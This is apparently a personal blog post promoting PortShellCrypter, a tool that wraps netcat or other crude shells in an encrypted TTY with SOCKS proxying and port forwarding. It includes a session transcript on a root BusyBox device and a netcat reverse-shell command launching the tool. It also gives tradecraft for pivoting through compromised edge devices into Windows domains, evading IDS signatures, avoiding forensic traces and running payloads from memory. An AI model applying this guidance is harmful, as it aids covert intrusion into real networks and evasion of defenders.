You Should Be Using PortShellCrypter.

I was writing a bunch of posts about automation and such using a tool by stealth named PortShellCrypter (PSC), and realised I had not written a post explaining what the fuck it is, or why I am such a big fan of it. So here I will just blog about how cool it is and some suggested uses. Later blogs will show actual uses, some may even be novel.

I'll also mention a few pitfalls. For balance.

PSC is a "client" and "server" software that grants you a fully working TTY, scripting capabilities (so, file transfer... automation...), some encoding/decoding functionality, and SOCKS proxying (ala ssh -D), and port forwarding (ala ssh -L).

And its end to end encrypted using a shared secret. So you can have a connection over multiple untrustworthy intermediates, with no worries that they can tamper with the stuff you are up to.

The transport for the TTY can be anything you like, its completely fucking irrelevant. UART shell? Go wild. Port shell (netcat)? Sure thing. ADB? No problem. Some Rube Goldberg machine involving files, web requests, and fifos? Absolutely. Any combo of these? No problem.

A caveat here is its not gonna be blazing fast - it adds some overhead to whatever comms channel you are using, so you know, bandwidth is going to be limited.

Nowhere near as bad as trying to work over a DNS tunnel though, probably.

I've gotten it to compile/build on a whole bunch of stuff, and intend to keep making it work on more shit as I slowly build up a library of weird and wonderful VM's and emulated devices.

So, its first "use" would probably be as a way to turn a netcat or similar port shell into a fully working, encrypted TTY shell. This is an excellent use case, which we will use as an example here.

% ./pscl                    

PortShellCrypter [pscl] v0.65 (C) 2006-2022 stealth --

pscl: Waiting for [pscr] session to appear ...
darren@Darrens-MacBook-Pro src % nc 23000

BusyBox v1.10.2 (2019-10-14 12:41:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# SHELL=/bin/sh /tmp/pscr-armbin
SHELL=/bin/sh /tmp/pscr-armbin

PortShellCrypter [pscr] v0.65 (C) 2006-2022 stealth --

pscl: Seen STARTTLS sequence, enabling crypto.

BusyBox v1.10.2 (2019-10-14 12:41:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(admin) gid=0(admin)
<presses ^C a few times, doesn't lose shell.>

Now this is neat and all, we just went from a stupid portshell to a fully working TTY, and once it all kicks off, our traffic is encrypted.

To show this, here is a screenshot of a shell session:

And here is what that same session looked like in Wireshark:

As you can see, the cleartext portion of the traffic is the normal port shell, followed by the invoking of PSC on the target, and then it all becomes ciphertext. Neato. Now the Asshole In The Middle or the Global Asshole can't see what shenanigans you are up to (assuming, of course, you use stronk keying and not the defaults of secret1 and secret2).

Now, the astute IDS/IPS nerds out there will note that there is an obvious protocol handshake to write a Snort rule for, along with the initial shell setup banner.

To further explore this point, I invoked psc as a reverse shell with netcat with the following command:

SHELL=/bin/sh /bin/busybox-armv4tl nc 1337 -e /tmp/pscr-armbin

and here is a screenshot of the shell session.

And here is a screenshot of the wireshark capture (follow tcp stream...)

Again, we see all the actual commands ran in the session are encrypted data, though there is that banner for the IDS nerds (which can be commented out), and that initialisation header (which also, we can change).

Changing these strings is an exercise for the reader.

Extremely advanced machine learning IDS people probably also could signature on the protocol itself - the encrypted base64 in brackets shuffling back and forth, but the protocol is designed to work within some absurd limitations so, you know.

Ok, so it gives you a far superior shell experience than say, python -c 'import pty;pty.spawn("/bin/bash")' or script -q /dev/null. You get traffic encryption/obfuscation. What else do we get?

Well, you get a local scripting socket, enabling you to run scripts on the remote end programatically. We will touch upon that in a followup post though.

You get TCP and UDP port forwards ala ssh -L, which allows you to forward remote ports to local - so you can forward webservers inside the remote network, to your local box and view them. Or interact with their DNS or SNMP servers or what have you.

You also get the ssh -D style SOCKS4/5 proxy. Now, one caveat here, the proxy doesn't do DNS for whatever reason, you will either have to resolve locally, or use the port forwarding feature we mentioned previously to forward the remote sides DNS server to you, and configure ProxyChains accordingly.

Why are these tunnels cool? Well, when targeting networks that are primarily Windows or some shit and using PSC to tunnel through some compromised edge Unix device (think: ZyXEL, Cisco, Citrix...), I'd recommend using the port forwards to forward the domain controllers DNS service to local, and set up the SOCKS4/5 proxies, so you can use tools like CrackMapExec or Impacket from the comfort of your own machine, while also being able to interact with the remote ends Windows domain properly - i.e. resolve internal hostnames, etc. You get a massive OPSEC bonus for not leaving your tooling on the compromised remote box for Mandiant to blog about.

I've also had excellent success executing PSC from memory (without writing to disc) on Linux boxes, using either ddexec style methods, or memfd based trickery from scripting interpreters. Its easy to statically link for a whole bunch of architectures with musl, works reliably, etc.

I'll leave it at that for now.